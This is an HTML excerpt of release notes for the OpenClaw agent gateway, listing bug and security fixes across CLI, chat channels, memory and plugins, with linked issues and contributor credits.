<li>CLI/status: fall back to a bounded local <code>status</code> RPC when loopback detail probes time out or report unknown capability, so reachable local gateways are no longer marked unreachable by slow read diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221198235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62762" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62762/hovercard" href="https://github.com/openclaw/openclaw/issues/62762">#62762</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110811160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51357/hovercard" href="https://github.com/openclaw/openclaw/issues/51357">#51357</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4050661491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42019/hovercard" href="https://github.com/openclaw/openclaw/issues/42019">#42019</a>. Thanks @RacecarGuy, @justinschille, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DJBlackhawk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DJBlackhawk">@DJBlackhawk</a>, @tianyaqpzm, and @0xrsydn.</li>
<li>CLI/gateway: reuse cached paired-device auth during <code>gateway probe</code> and report post-connect diagnostic failures as degraded reachability, so healthy local gateways are no longer marked unreachable after loopback auth or read timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>. Thanks @RacecarGuy.</li>
<li>Channels/Discord: give Discord Gateway WebSocket handshakes a 30s timeout so stalled TLS/network transitions emit an error and Carbon can continue its reconnect loop instead of leaving the bot silent until restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4097993139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50046/hovercard" href="https://github.com/openclaw/openclaw/pull/50046">#50046</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Mattermost/WebSocket: send protocol ping/pong keepalives and terminate stale sessions when pongs stop arriving, so silent TCP drops reconnect instead of leaving monitoring idle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049689741" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41837/hovercard" href="https://github.com/openclaw/openclaw/issues/41837">#41837</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4169293678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57621/hovercard" href="https://github.com/openclaw/openclaw/pull/57621">#57621</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098800956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50138/hovercard" href="https://github.com/openclaw/openclaw/issues/50138">#50138</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065388815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44160" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44160/hovercard" href="https://github.com/openclaw/openclaw/issues/44160">#44160</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108428334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51104" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51104/hovercard" href="https://github.com/openclaw/openclaw/issues/51104">#51104</a>. Thanks @JasonWang1124.</li>
<li>Channels/Telegram: suppress standalone failed edit/write warning payloads when a user-facing assistant error reply already covers the turn, while keeping unresolved mutating failures visible behind success-looking or suppressed-error replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040841536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39631/hovercard" href="https://github.com/openclaw/openclaw/issues/39631">#39631</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345454858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73750" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73750/hovercard" href="https://github.com/openclaw/openclaw/pull/73750">#73750</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040858007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39636" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39636/hovercard" href="https://github.com/openclaw/openclaw/pull/39636">#39636</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041006323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39717" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39717/hovercard" href="https://github.com/openclaw/openclaw/pull/39717">#39717</a>; leaves <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040278873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39406" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39406/hovercard" href="https://github.com/openclaw/openclaw/issues/39406">#39406</a> for configurable delivery policy. Thanks @Bartok9 and @Bortlesboat.</li>
<li>Control UI/agents: persist the Set Default action through <code>agents.list[].default</code> instead of writing the unsupported <code>agents.defaultId</code> field, so saved default-agent changes survive config validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250028068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65565" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65565/hovercard" href="https://github.com/openclaw/openclaw/issues/65565">#65565</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333057256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72585/hovercard" href="https://github.com/openclaw/openclaw/pull/72585">#72585</a>. Thanks @luyao618.</li>
<li>NVIDIA/NIM: persist the <code>NVIDIA_API_KEY</code> provider marker and mark bundled NVIDIA Chat Completions models as string-content compatible, so NIM models load from <code>models.json</code> and OpenAI-compatible subagent calls send plain text content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338530888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73013/hovercard" href="https://github.com/openclaw/openclaw/issues/73013">#73013</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098604940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50107" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50107/hovercard" href="https://github.com/openclaw/openclaw/issues/50107">#50107</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338532925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73014/hovercard" href="https://github.com/openclaw/openclaw/issues/73014">#73014</a>. Thanks @bautrey, @iot2edge, @ifearghal, and @futhgar.</li>
<li>Channels/Discord: let text-only configs drop the <code>GuildVoiceStates</code> gateway intent and expose a bounded <code>/gateway/bot</code> metadata timeout with rate-limited fallback logs, reducing idle CPU and warning floods. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345114420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73709" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73709/hovercard" href="https://github.com/openclaw/openclaw/issues/73709">#73709</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343589386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73585" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73585/hovercard" href="https://github.com/openclaw/openclaw/issues/73585">#73585</a>. Thanks @sanchezm86 and @trac3r00.</li>
<li>Agents/sessions: mark same-turn <code>sessions_send</code> and A2A reply prompts with an inter-session <code>isUser=false</code> envelope before they reach the model, so foreign session output no longer lands as bare active user text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345004992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73702/hovercard" href="https://github.com/openclaw/openclaw/issues/73702">#73702</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks @alvelda.</li>
<li>Channels/Telegram: fail closed when account-level public DM settings conflict with a restrictive top-level <code>allowFrom</code>, and require an effective wildcard before <code>dmPolicy="open"</code> behaves as public access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>Channels/security: move open-DM allowlist semantics into the shared policy helpers and align Discord, Slack, Mattermost, Matrix, Feishu, LINE, IRC, Google Chat, Zalo, Zalo User, QQ Bot, and Synology Chat so <code>dmPolicy="open"</code> is public only with an effective wildcard and otherwise still respects sender allowlists. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>ACP/tasks: sweep orphaned parent-owned ACP sessions whose task records are gone, preserving bound persistent sessions but clearing unbound stale ACPX metadata so old child sessions cannot silently respawn into chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Outbound/security: strip known internal runtime scaffolding such as <code>&lt;system-reminder&gt;</code> and <code>&lt;previous_response&gt;</code> at the final channel delivery boundary and keep Discord output on targeted tag stripping, so degraded harness replies cannot leak those tags to users. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>. Thanks @gabrielexito-stack and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Security/Telegram: load Telegram security adapters in read-only audit/doctor, audit malformed Telegram DM <code>allowFrom</code> entries even when groups are disabled, and keep allowlist DM audits from counting stale pairing-store senders, so public/shared-DM risk checks stay accurate. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @xace1825.</li>
<li>Plugins: remove hidden manifest, provider-owner, bootstrap, and channel metadata caches so plugin installs, manifest edits, and bundled-root changes are visible on the next metadata read while keeping runtime/module loader caches for actual plugin code. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/plugins: use plugin metadata snapshots for install slot selection and add opt-in plugin lifecycle timing traces, so plugin install avoids runtime-loading the plugin registry for metadata-only decisions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>fix(plugins): restrict bundled plugin dir resolution to trusted package roots. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340652676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73275" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73275/hovercard" href="https://github.com/openclaw/openclaw/pull/73275">#73275</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>fix(security): prevent workspace PATH injection via service env and trash helpers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340617524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73264/hovercard" href="https://github.com/openclaw/openclaw/pull/73264">#73264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory: allow <code>allowedChatTypes</code> to include explicit portal/webchat sessions and classify <code>agent:...:explicit:...</code> session keys before opaque session ids can shadow the chat type. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252129588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65775" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65775/hovercard" href="https://github.com/openclaw/openclaw/issues/65775">#65775</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259069037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66285/hovercard" href="https://github.com/openclaw/openclaw/pull/66285">#66285</a>) Thanks @Lidang-Jiang.</li>
<li>Active Memory: allow the hidden recall sub-agent to use both <code>memory_recall</code> and the legacy <code>memory_search</code>/<code>memory_get</code> memory tool contract, so bundled <code>memory-lancedb</code> recall works without breaking the default <code>memory-core</code> path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342562900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73502" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73502/hovercard" href="https://github.com/openclaw/openclaw/issues/73502">#73502</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343523222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73584" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73584/hovercard" href="https://github.com/openclaw/openclaw/pull/73584">#73584</a>) Thanks @Takhoffman.</li>
<li>fix(device-pairing): validate callerScopes against resolved token scopes on repair [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337345824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72925" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72925/hovercard" href="https://github.com/openclaw/openclaw/pull/72925">#72925</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory docs: document the <code>cacheTtlMs</code> 1000-120000 ms range and 15000 ms default so setup snippets do not lead users past the schema limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251274400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65708/hovercard" href="https://github.com/openclaw/openclaw/issues/65708">#65708</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251576914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65737/hovercard" href="https://github.com/openclaw/openclaw/pull/65737">#65737</a>) Thanks @WuKongAI-CMU.</li>
<li>fix(agents): canonicalize provider aliases in byProvider tool policy lookup [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337295525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72917" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72917/hovercard" href="https://github.com/openclaw/openclaw/pull/72917">#72917</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>fix(security): block npm_execpath injection from workspace .env [AI-assisted]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340604156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73262/hovercard" href="https://github.com/openclaw/openclaw/pull/73262">#73262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Tools/web_fetch: decode response bodies from raw bytes using declared HTTP, XML, or HTML meta charsets before extraction, so Shift_JIS and other legacy-charset pages no longer return mojibake. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337284956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72916/hovercard" href="https://github.com/openclaw/openclaw/issues/72916">#72916</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Active Memory: skip payload-less <code>memory_search</code> transcript tool results when building debug telemetry, so newer empty entries no longer hide the latest useful debug payload. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289720192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68773/hovercard" href="https://github.com/openclaw/openclaw/pull/68773">#68773</a>) Thanks @SimbaKingjoe.</li>
<li>Active Memory: keep recall setup time from consuming the configured model timeout while giving the hook runner an explicit bounded budget for the plugin, so slow embedded-run setup no longer causes immediate recall timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333274016" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72606/hovercard" href="https://github.com/openclaw/openclaw/issues/72606">#72606</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333343055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72620/hovercard" href="https://github.com/openclaw/openclaw/pull/72620">#72620</a>) Thanks @hyspacex.</li>
<li>Channels/Discord: bound message read/search REST calls, route those actions through Gateway execution, and fall back to <code>CommandTargetSessionKey</code> for inbound hook session keys so Discord reads do not hang and hooks still fire when <code>SessionKey</code> is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341806261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73431" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73431/hovercard" href="https://github.com/openclaw/openclaw/issues/73431">#73431</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342707124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73521" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73521/hovercard" href="https://github.com/openclaw/openclaw/pull/73521">#73521</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/media: auto-enable provider plugins referenced by <code>agents.defaults.imageGenerationModel</code>, <code>videoGenerationModel</code>, and <code>musicGenerationModel</code> primary/fallback refs, so configured Google and MiniMax media providers do not stay disabled behind a restrictive plugin allowlist. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Memory-core/dreaming: retry managed dreaming cron registration after startup when the cron service is not reachable yet, so the scheduled Memory Dreaming Promotion sweep recovers without waiting for heartbeat traffic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336307968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72841/hovercard" href="https://github.com/openclaw/openclaw/issues/72841">#72841</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Acpx/runtime: validate the runtime session mode at the <code>AcpxRuntime.ensureSession</code> wrapper boundary so callers that pass anything other than <code>persistent</code> or <code>oneshot</code> get a clear <code>ACP_INVALID_RUNTIME_OPTION</code> error instead of silently round-tripping through the encoded handle as a default <code>persistent</code> mode and later throwing <code>SessionResumeRequiredError</code>. Investigation context: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339298543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73071/hovercard" href="https://github.com/openclaw/openclaw/issues/73071">#73071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342946140" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73548/hovercard" href="https://github.com/openclaw/openclaw/pull/73548">#73548</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/infer: keep web-search fallback on missing provider API keys, preserve structured validation errors from the selected provider, and let per-request image describe prompts override configured media-entry prompts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226252002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63263/hovercard" href="https://github.com/openclaw/openclaw/pull/63263">#63263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Chat commands: include configured model-catalog reasoning metadata when building <code>/think</code> argument menus so Ollama Cloud and other provider-owned reasoning models show supported levels instead of only <code>off</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342653082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73515/hovercard" href="https://github.com/openclaw/openclaw/issues/73515">#73515</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343323395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73568/hovercard" href="https://github.com/openclaw/openclaw/pull/73568">#73568</a>. Thanks @danielzinhu99 and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Channels/Telegram: suppress generic tool-progress chatter when preview streaming is off, so non-streaming Telegram turns only deliver final replies while approvals, media, and errors still route normally. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331988059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72363" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72363/hovercard" href="https://github.com/openclaw/openclaw/issues/72363">#72363</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332559274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72482" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72482/hovercard" href="https://github.com/openclaw/openclaw/pull/72482">#72482</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and @SweetSophia.</li>
<li>CLI/model probes: add repeatable image <code>--file</code> inputs to <code>infer model run</code> for local and gateway multimodal model smokes, so vision models such as Ollama Qwen VL and Gemini can be tested through the raw model-probe surface. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
